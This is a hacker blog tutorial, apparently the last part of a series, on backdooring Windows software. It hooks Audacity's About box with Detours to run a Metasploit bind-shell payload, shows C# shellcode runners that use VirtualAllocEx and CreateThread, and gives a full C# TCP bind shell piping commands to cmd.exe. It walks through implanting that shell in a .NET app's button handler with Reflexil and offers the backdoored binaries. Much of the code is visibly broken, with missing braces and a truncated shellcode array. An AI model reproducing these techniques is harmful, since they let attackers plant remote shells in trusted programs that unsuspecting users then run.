Backdooring a DLL part 4

Here we are finally at the last part of my series on backdooring dll files. I wanted to cover again detours as a means of backdooring dll files and executables. A fellow 2600 member I spoke to asked me the other day about what it would take to modify an exe without changing it on disk. For that I say detours! That’s what I’m going to do this in example, on top of popping a message box up, I’m also going to pop a shell.

Recall that we covered this once before. All I’m doing is slightly modifying the detours code from before to include some shellcode from MSF. I also modified the launcher slightly because of a unicode conversion error. I’ll link all projects source and all towards the end. We’re of course modifying our detours project to allow for shellcode to be implanted. Sure we *could* do our own shellcode right there in the dll with inline assembly, but MSF does a better job than me.

#include "stdafx.h"
#include <windows.h>
#include <detours.h>
#pragma comment(lib, "detours.lib")

typedef int (WINAPI *pFunc)(int, int);
int WINAPI MyFunc(int, int);
pFunc FuncToDetour = (pFunc)(0x40C910); // address of about box in Audacity

int WINAPI MyFunc(int a, int b)
	MessageBox(NULL, L"Audacity rocks!", L"Joe was here", MB_OK);
	msf payload(shell_bind_tcp) > generate -t c

	* windows/shell_bind_tcp - 328 bytes
	* VERBOSE=false, LPORT=8080, RHOST=,
	* PrependMigrate=false, EXITFUNC=none, InitialAutoRunScript=,
	* AutoRunScript=
	unsigned char buf[] =

		// this shit wont work with DEP enabled systems cuz this executes directly on the stack. 
		// need to alloc some memory, mark it RWE
		void *exec = VirtualAlloc(0, sizeof b, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		memcpy(exec, buf, sizeof buf);

	return 4;
extern "C" __declspec(dllexport) void DoNothingAlready(void)
	DWORD ayylmao = 20345;
		xor eax, eax
			xor ecx, ecx
			mov eax, ayylmao
			mov ecx, 0
			inc ecx
			cmp eax, ecx
			jnz testd
			pop ebx

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
	if (DetourIsHelperProcess()) {
		return TRUE;

	if (dwReason == DLL_PROCESS_ATTACH) {
		DetourAttach(&(PVOID&)FuncToDetour, MyFunc);
	else if (dwReason == DLL_PROCESS_DETACH) {
		DetourDetach(&(PVOID&)FuncToDetour, MyFunc);
	return TRUE;

You’ll notice how we don’t directly place our shellcode in the stack. This is because doing so will fail. Modern Windows employs the use of Data Execution Prevention (DEP) which prevents execution in the stack. To get around this, we allocate a chunk of memory and mark it read write execute. We’ll be doing the same thing with .net.

So our code is short and sweet. Running audacity with our launcher and hitting the about box, we see audacity open port 8080.
Sure enough here’s our shell on port 8080.

As an added bonus, I’m going to go over backdooring a .Net class library / .net executable. I will be using Red Gate Reflector and the reflector plugin Reflexil. Reflexil also works for IlSpy as well if you’re cheap and like free stuff. DnSpy doesn’t work for my examples because its a piece of shit.

The obvious thing that comes to mind is “joe, how in the hell are we supposed to inline shellcode for a backdoor into a managed language that doesn’t even support inline assembly?” and to that I say good point. But there’s more than one way to skin a cat.

There are 2 ways to run shellcode in a C# application. The first way is to use C and inline assembly and pointers and such, then compile your code as a dll and call the dll from within your C# application. Imagine calling a dll within a dll. Inception and shit.
The other way to do it is:

  • Define an array of bytes (our shellcode)
  • Allocate a chunk of memory (length of shellcode)
  • Set the memory protection flags on the chunk as Read Write Execute
  • Write the array of bytes (our shellcode) into this same allocated chunk
  • Create a thread, setting the ‘LpStartAddress’ to our chunk of memory.

Side note – there are 2 other variations on this that have similar results. We could call CreateRemoteThread and inject into an already running process such as the host process or explorer or whatever. We could also create a suspended process of something (svchost.exe, or whatever) and write our code in there. In fact that’s how JoeCrypt works with its wrapper around executables.

First things first, we need some shellcode. In following with the ‘backdoor’ theme, I’m choosing a simple single stage TCP bind shell. MSF is nice enough to provide us with a C# output via its ‘generate’ application. Thanks HDM. csharp_shellcodezbig_red_button

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace WindowsFormsApplication1
    public partial class Form1 : Form
        public enum AllocationType
            Commit = 4096,
            Reserve = 8192,
            Decommit = 16384,
            Release = 32768,
            Reset = 524288,
            Physical = 4194304,
            TopDown = 1048576,
            WriteWatch = 2097152,
            LargePages = 536870912
        public enum AllocationProtect : uint
            PAGE_NOACCESS = 1u,
            PAGE_READWRITE = 4u,
            PAGE_WRITECOPY = 8u,
            PAGE_EXECUTE = 16u,
            PAGE_EXECUTE_READ = 32u,
            PAGE_EXECUTE_READWRITE = 64u,
            PAGE_EXECUTE_WRITECOPY = 128u,
            PAGE_GUARD = 256u,
            PAGE_NOCACHE = 512u,
            PAGE_WRITECOMBINE = 1024u
 /* msf payload(shell_bind_tcp) > generate -t csharp
  * windows/shell_bind_tcp - 328 bytes
  * VERBOSE=false, LPORT=1337, RHOST=, 
  * PrependMigrate=false, EXITFUNC=thread, 
  * InitialAutoRunScript=, AutoRunScript=
        byte[] buf = new byte[328] {
0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5 };

        private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,
           UInt32 dwCreationFlags, ref UInt32 lpThreadId );

        private static extern IntPtr OpenProcess(uint lol, int int_0, int int_1);
        [DllImport("Kernel32.dll", ExactSpelling = true, SetLastError = true)]
        private static extern IntPtr VirtualAllocEx(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);

        [DllImport("Kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
          byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);

        public Form1()

        private void button1_Click(object sender, EventArgs e)
            System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();
            int pid = olo.Id;
            IntPtr hProcess = OpenProcess(0x001F0FFF, 0, pid);
            if (hProcess == IntPtr.Zero)
                throw new Exception("Could not open process ID " + pid + ", are you running as an admin?");
            IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,
            AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);
            int zero = 0;
            IntPtr kek = IntPtr.Zero;
            WriteProcessMemory(hProcess, intPtr, buf, buf.Length, ref zero);
            UInt32 tid = 0;
            CreateThread(0, 0, intPtr, kek, 0, ref tid);

Now that we have our app, how do we get it into an existing managed library? Same way we do it with regular .net exes? Haven’t I been over this subject before?

So how do we inject into a managed dll? We don’t. Reflexil doesn’t allow the use of the ‘dllimport’ directive in its generated code. It fails to add a proper reference in the .net metadata section for imported dll references. It looks like it would work at first, producing what looks like working MSIL code: reflexil_rocks But oh no it doesn’t work. This is a reflexil bug.

Well fuck. What can we do? I tried with DnSpy, but god damn, same problem.
We could always just compile our code as a dll and straight up replace it with the name of another C# class library. So how could we technically backdoor a C# dll? We would have to look for unsafe calls to Assembly.LoadFile or Assembly.LoadFrom and ensure our dll is called instead. As for backdooring a .net exe, your best bet looks like total replacement of the exe if we do it this way.

There is another way however. We don’t need shellcode to pop a shell – the .net framework should have everything we need. Luckily for us in C#, spawning a remote socket and process is trivial.

using System;
using System.Threading;
using System.IO;
using System.Net;
using System.Net.Sockets;

namespace ServerApp
    class Program
        static void Main(string[] args)
            int PortNo = 31337;
            TcpListener servListener;
            servListener = new TcpListener(IPAddress.Any, PortNo);
            while (true)
                Socket rocksock = servListener.AcceptSocket();
                    Stream dastream = new NetworkStream(rocksock);
                    StreamReader sr = new StreamReader(dastream);
                    StreamWriter sw = new StreamWriter(dastream);
                    sw.AutoFlush = true;
                    sw.WriteLine("Joe's C# TCP Shell!!");
                    while (true)
                        string command = sr.ReadLine();
                        if (command == "" || command == null)
                            sw.WriteLine("Command not entered!");
                        System.Diagnostics.Process kek = new System.Diagnostics.Process();
                        kek.StartInfo.FileName = "cmd.exe";
                        kek.StartInfo.RedirectStandardOutput = true;
                        kek.StartInfo.Arguments = "/c " + command;
                        kek.StartInfo.UseShellExecute = false;
                        sw.WriteLine("entered command {0}", command);
                        sw.WriteLine("output: {0}", kek.StandardOutput.ReadToEnd());
                catch (Exception e)

We have our code, we now need a .net app to cram it into. I couldn’t find a suitable class library, so a .net app will do for our example:

We’re going to backdoor my JoeHasher app. Loading the thing into Reflector, we locate the method associated with ‘cancel’ and see its for a background worker cancellation instructions. This is a suitable spot. backdoor_csharp_2

Select the method in the tree view, bring up Reflexil from the file menu (tools->Reflexil), right click and select “Replace all with code”.

When we have the compiler menu, we are going to be placing our code in the method ‘btnCancel_Click’. Reflexil is nice enough to leave the other areas alone and only mess with this method.reflexil_23

Now we need to throw our code inside. Reflexil is finicky with its code in that it wants absolute object names. Here it’s complaining about not being able to find my objects.

This is fixed by using the absolute names. So like instead of TcpListener you go System.Net.Sockets.TcpListener. Do this for the other objects in the method and Reflexil will be satisfied.

Now press ‘ok’ and right click on the module in the tree menu, choose the Reflexil menu, then click ‘Save as…’. This will save our work.

Running our patched ‘JoeHasher’ app and clicking the ‘Cancel’ button does exactly what we want, spawns a shell on port 31337.


Connect to the fucker with Putty and we have our shell:


So that’s how you backdoor a .net binary. For a .net class library, you do the exact same – find a method that looks suitable, and replace with your backdooring code. Shellcode is nice, but not necessary for our needs of spawning a cmd shell.

Hope you all learned something. Attached here are all the files. The detours launcher, dll, source for both, the C# shellcode app and source, the C# cmd shell app / source, and the backdoored c# hasher / regular hasher thingy.

Happy hacking!


One thought on “Backdooring a DLL part 4

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.